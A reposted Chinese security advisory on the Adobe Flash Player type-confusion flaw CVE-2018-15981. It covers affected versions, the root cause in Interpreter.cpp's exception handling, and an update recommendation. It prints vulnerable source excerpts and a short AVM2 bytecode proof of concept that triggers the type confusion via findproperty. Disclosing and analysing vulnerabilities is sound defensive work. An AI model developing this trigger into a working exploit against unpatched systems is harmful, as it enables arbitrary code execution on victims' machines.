怎么实现Adobe Flash Player 任意代码执行漏洞CVE-2018-15981的预警

怎么实现Adobe Flash Player 任意代码执行漏洞CVE-2018-15981的预警,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

0x00 事件背景

昨日深夜,Adobe发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新,修补了一枚类型混淆漏洞(CVE-2018-15981)。该漏洞影响Adobe Flash Player 31.0.0.148及以前版本,成功利用会导致任意代码执行。360-CERT对漏洞进行分析,认为该漏洞利用难度低且影响范围广,危害严重。

0x01 影响范围

产品 版本 平台
Adobe Flash Player Desktop Runtime 31.0.0.148 and earlier versions Windows, macOS and Linux
Adobe Flash Player for Google Chrome 31.0.0.148 and earlier versions Windows, macOS, Linux and Chrome OS
Adobe Flash Player for Microsoft Edge and Internet Explorer 11 31.0.0.148 and earlier versions Windows 10 and 8.1

0x02 漏洞分析

漏洞出在Interpreter.cpp文件中:Flash 在异常处理时,重置了状态机的许多变量,并将解释器的PC设置为目标处理程序的地址。但这个过程被过度优化,没有重置with-scope变量。使得攻击者可以构造恶意flash 文件,在对象加载后抛出异常,此时修改对象的成员变量类型,造成类型混淆。

在 Interpreter.cpp 源代码中,定义了一个 withBase 变量,用作scopeBase数组的指针偏移量

register Atom* const scopeBase = framep + ms->local_count();
register Atom* volatile withBase = NULL;
NONDEBUGGER_ONLY( register ) int volatile scopeDepth = 0;
register ScopeChain* const scope = env->scope();

而该变量,在findproperty指令的处理程序处调用。

 INSTR(findproperty) {
           b1 = false;
           findproperty_impl:
               SAVE_EXPC;
               GET_MULTINAME_PTR(multiname, U30ARG);
               if (multiname->isRuntime())
               {
                   aux_memory->multiname2 = *multiname;
                   sp = initMultiname(env, aux_memory->multiname2, sp);
                   multiname = &aux_memory->multiname2;
               }
               *(++sp) = env->findproperty(scope, scopeBase, scopeDepth, multiname, b1, withBase);
               NEXT;
           }

因此可以利用findproperty指令,对该漏洞进行利用。利用的PoC如下:

getlocal0
pushscope

getlocal0
findpropstrict QName(PackageNamespace(""), "NewClass2")
constructprop QName(PackageNamespace(""), "NewClass2"), 0
initproperty QName(PackageInternalNs(""), "myvar")

getlocal0
pushwith

L10:
pushbyte 1
throw
L12:
nop
L16:

getlocal0
pushscope
pushint 534568
newobject 1
coerce QName(PackageNamespace(""), "Object")

pushscope

findproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])

getslot 1

returnvoid

0x03 安全建议

该漏洞利用难度低且影响范围广,危害严重。因此360-CERT强烈建议用户对Adobe Flash Player进行更新。

目前相关补丁已经发布,用户可以使用软件内部的“更新”功能,或者访问 https://www.flash.cn/ 下载最新版本的应用。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对亿速云的支持。